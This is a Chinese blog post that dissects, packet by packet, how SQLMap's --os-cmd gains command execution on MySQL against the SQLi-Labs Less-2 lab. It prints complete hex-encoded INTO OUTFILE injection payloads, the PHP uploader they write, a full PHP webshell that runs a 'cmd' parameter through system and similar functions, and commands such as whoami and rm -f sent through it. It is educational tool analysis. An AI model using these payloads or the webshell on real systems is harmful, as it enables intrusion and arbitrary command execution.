SQLMap 命令执行原理(MySQL)
SQLMap
的命令执行这块之前接触过,翻一翻。命令执行条件:
网站绝对路径
高权限用户
secure_file_priv=
–os-cmd
- 这里已
SQLi-Labs
中的Less2
为例,先进行SQL
漏洞探测,避免多余数据包产生干扰:
1 | root at kali in ~ |
- 直接执行
--os-cmd whoami
命令,并将数据包代理到BurpSuite
上:
1 | root at kali in ~ |
- 可以发现已成功返回对方当前的用户名称:
www-data
,在BurpSuite
处看看:
- 可以看到一共发了
13
个包,依次解析一下。
第一个包
HTTP Request
内容如下:
1 | GET /Less-2/?id=1 |
HTTP Response
内容如下(稍作删减):
1 | <font size='5' color= '#99FF00'>Your Login name:Dumb<br>Your Password:Dumb</font> |
- 发送一个正常的请求包,用途应该是判断目标的存活情况。
第二个包
HTTP Request
内容如下:
1 | GET /Less-2/?id%5B%5D=1 |
HTTP Response
内容如下(稍作删减):
1 | <font color= "#FFFF00">Unknown column 'Array' in 'where clause'</font> |
- 尝试对
URL
中的id
参数进行注入测试,问就是SQLMap
手痒发了个包。
第三个包
HTTP Request
内容如下:
1 | GET /Less-2/?id=-1797%20OR%208778%3D8778%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Fhtml%2Ftmpuegdu.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- |
HTTP Response
内容如下(稍作删减):
1 | <font color= "#FFFF00"></font> |
- 可以发现,多了非常多的字符串,先使用
URL
解码一下:
1 | ?id=-1797 OR 8778=8778 LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuegdu.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- - |
- 后面一串出现了关键字
0x
,应该是16
进制,解码一下:
1 | ?id=-1797 OR 8778=8778 LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuegdu.php' LINES TERMINATED BY |
- 先看前面部分,伪代码如下:
1 | ?id=-1797 OR 8778=8778 LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuegdu.php' LINES TERMINATED BY phpcode -- - |
- 简单分析一下:
?id=-1797
是注入点,通过在注入点处构造恶意的SQL
语句来实现攻击。OR 8778=8778
是一个始终为真的条件,它的存在使得整个WHERE
子句始终为真。LIMIT 0,1
用于限制查询结果只返回一行。- 通过
INTO OUTFILE '/var/www/html/tmpuegdu.php'
将查询结果导出到指定的文件/var/www/html/tmpuegdu.php
中。 - 最后
LINES TERMINATED BY phpcode
指定了每行的终止符为字符串phpcode
。
- 嗯~,这里明白了,接着往下看
phpcode
部分。 - 这里看着贼乱,排个版:
1 |
|
- 简单分析一下:
- 如果请求中存在名为
upload
的参数,表示用户提交了文件上传请求。- 获取用户指定的上传目录,该目录由名为
uploadDir
的参数传递。 - 根据
PHP
版本的不同,使用不同的方式获取上传文件的信息和临时文件路径:- 如果
PHP
版本低于4.1.0
,则使用$HTTP_POST_FILES
数组来获取文件信息和临时文件路径。 - 如果
PHP
版本高于等于4.1.0
,则使用$_FILES
数组来获取文件信息和临时文件路径。
- 如果
- 将上传的文件移动到指定目录下,并设置文件的权限为
0755
。 - 输出
File uploaded
表示文件上传成功。
- 获取用户指定的上传目录,该目录由名为
- 如果请求中不存在名为
upload
的参数,则显示一个包含文件上传表单的HTML
表单。表单中包含一个用于选择文件的文件输入框,一个用于指定目录的文本输入框和一个提交按钮。
- 如果请求中存在名为
- 可以通过页面访问一下:
第四个包
HTTP Request
内容如下:
1 | GET /var/www/html/tmpuegdu.php |
HTTP Response
内容如下(稍作删减):
1 | html><head> |
- 尝试查找刚刚写入的
tmpuegdu.php
文件,这里没找到返回404
。
第五个包
HTTP Request
内容如下:
1 | GET /www/html/tmpuegdu.php |
HTTP Response
内容如下(稍作删减):
1 | html><head> |
- 尝试查找刚刚写入的
tmpuegdu.php
文件,这里没找到返回404
。
第六个包
HTTP Request
内容如下:
1 | GET /html/tmpuegdu.php |
HTTP Response
内容如下(稍作删减):
1 | html><head> |
- 尝试查找刚刚写入的
tmpuegdu.php
文件,这里没找到返回404
。
第七个包
HTTP Request
内容如下:
1 | GET /tmpuegdu.php |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
- 尝试查找刚刚写入的
tmpuegdu.php
文件,这里找到了,并返回对应文件上传表单。
第八个包
HTTP Request
内容如下:
1 | POST /tmpuegdu.php?id=1 |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
SQMap
发送一个文件上传的数据包,文件名为tmpbbdfz.php
。- 文件内容如下(排个版):
1 | $c = $_REQUEST["cmd"]; |
简单分析一下:
- 获取用户传递的命令,该命令由名为
cmd
的参数传递。 - 设置脚本的执行时间不受限制,忽略用户中断请求,以及将最大执行时间设置为无限制。
- 检查
PHP
配置中禁用的函数列表,并将其存储在变量$z
中。如果禁用函数列表不为空,将其进行处理,以便后续判断可执行的函数。 - 在用户传递的命令末尾添加
2>&1
,将错误输出重定向到标准输出。 - 定义函数
f($n)
,用于判断给定的函数名是否可调用且不在禁用函数列表中。 - 根据可执行函数的优先级依次尝试执行命令:
- 如果函数
system
可执行,则使用system($c)
执行命令,并将输出保存到变量$w
中。 - 如果函数
proc_open
可执行,则使用proc_open($c, $pipes)
执行命令,并将输出保存到变量$w
中。 - 如果函数
shell_exec
可执行,则使用shell_exec($c)
执行命令,并将输出保存到变量$w
中。 - 如果函数
passthru
可执行,则使用passthru($c)
执行命令,并将输出保存到变量$w
中。 - 如果函数
popen
可执行,则使用popen($c, "r")
执行命令,并将输出保存到变量$w
中。 - 如果函数
exec
可执行,则使用exec($c, $w)
执行命令,并将输出保存到变量$w
中。 - 如果没有可执行的函数,则将变量
$w
设置为0
。 - 最后输出
$w
变量的内容,使用HTML
的<pre>
标签包裹,以保持输出的格式化。
- 获取用户传递的命令,该命令由名为
但是这里没有传成功,传成功会有个
File uploaded
字样。
第九个包
HTTP Request
内容如下:
1 | GET /Less-2/?id=-5096%20OR%206481%3D6481%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Fhtml%2Ftmpbbdfz.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428226d61785f657865637574696f6e5f74696d65222c30293b247a3d40696e695f676574282264697361626c655f66756e6374696f6e7322293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528222f5b2c205d2b2f222c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028227472696d222c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282273797374656d2229297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636c65616e28293b7d656c736569662866282270726f635f6f70656e2229297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628227368656c6c5f657865632229297b24773d7368656c6c5f65786563282463293b7d656c736569662866282270617373746872752229297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636c65616e28293b7d656c7365696628662822706f70656e2229297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662822657865632229297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d6563686f223c7072653e24773c2f7072653e223b3f3e--%20- |
HTTP Response
内容如下(稍作整理):
1 | <font color= "#FFFF00"></font> |
- 可以发现,又多了非常多的字符串,按照第三个包整理排版如下:
1 | ?id=-5096 OR 6481=6481 LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpbbdfz.php' LINES TERMINATED BY <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>-- - |
这都不用整理了,一眼就是写入和第八个包上传的内容一致,这里就载入成功了。
通过页面访问一下,执行命令:
第十个包
HTTP Request
内容如下:
1 | GET /tmpbbdfz.php?cmd=echo%20command%20execution%20test |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
- 尝试执行 echo 命令,并返回对应字符串,判断上传的 WebShell 文件是否可用。
第十一个包
HTTP Request
内容如下:
1 | GET /tmpbbdfz.php?cmd=whoami |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
- 执行
whoami
命令,并返回对应字符串。
第十二个包
HTTP Request
内容如下:
1 | GET /tmpbbdfz.php?cmd=rm%20-f%20%2Fvar%2Fwww%2Fhtml%2Ftmpuegdu.php |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
- 执行删除
tmpuegdu.php
的命令,但是这个由于Docker
权限问题没删掉,正常是可以删掉的。
第十三个包
HTTP Request
内容如下:
1 | GET /tmpbbdfz.php?cmd=rm%20-f%20%2Fvar%2Fwww%2Fhtml%2Ftmpbbdfz.php |
HTTP Response
内容如下(稍作整理):
1 | 1 Dumb Dumb |
执行删除
tmpbbdfz.php
的命令,但是这个由于Docker
权限问题没删掉,正常是可以删掉的。经过十三个包,完成了依次命令查询。
–os-shell
- 与
--os-cmd
同理,只不过在细微处有一些差别。 --os-shell
会等待用户输入命令,--os-cmd
执行完命令直接退出。
总结
SQLMap
在MySQL
中命令执行的原理其实很简单,其实就是往服务器上写入了两个PHP
文件。- 用
into outfile
函数将一个可以用来上传的php
文件写到网站的根目录下; - 然后利用写入的文件上传的
php
上传了一个命令执行的php
文件; - 命令执行的
php
的文件,可以用来执行系统命令,并且将结果返回出来。 - 当命令执行结束或退出时删除创建的两个
php
文件。
- 用
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!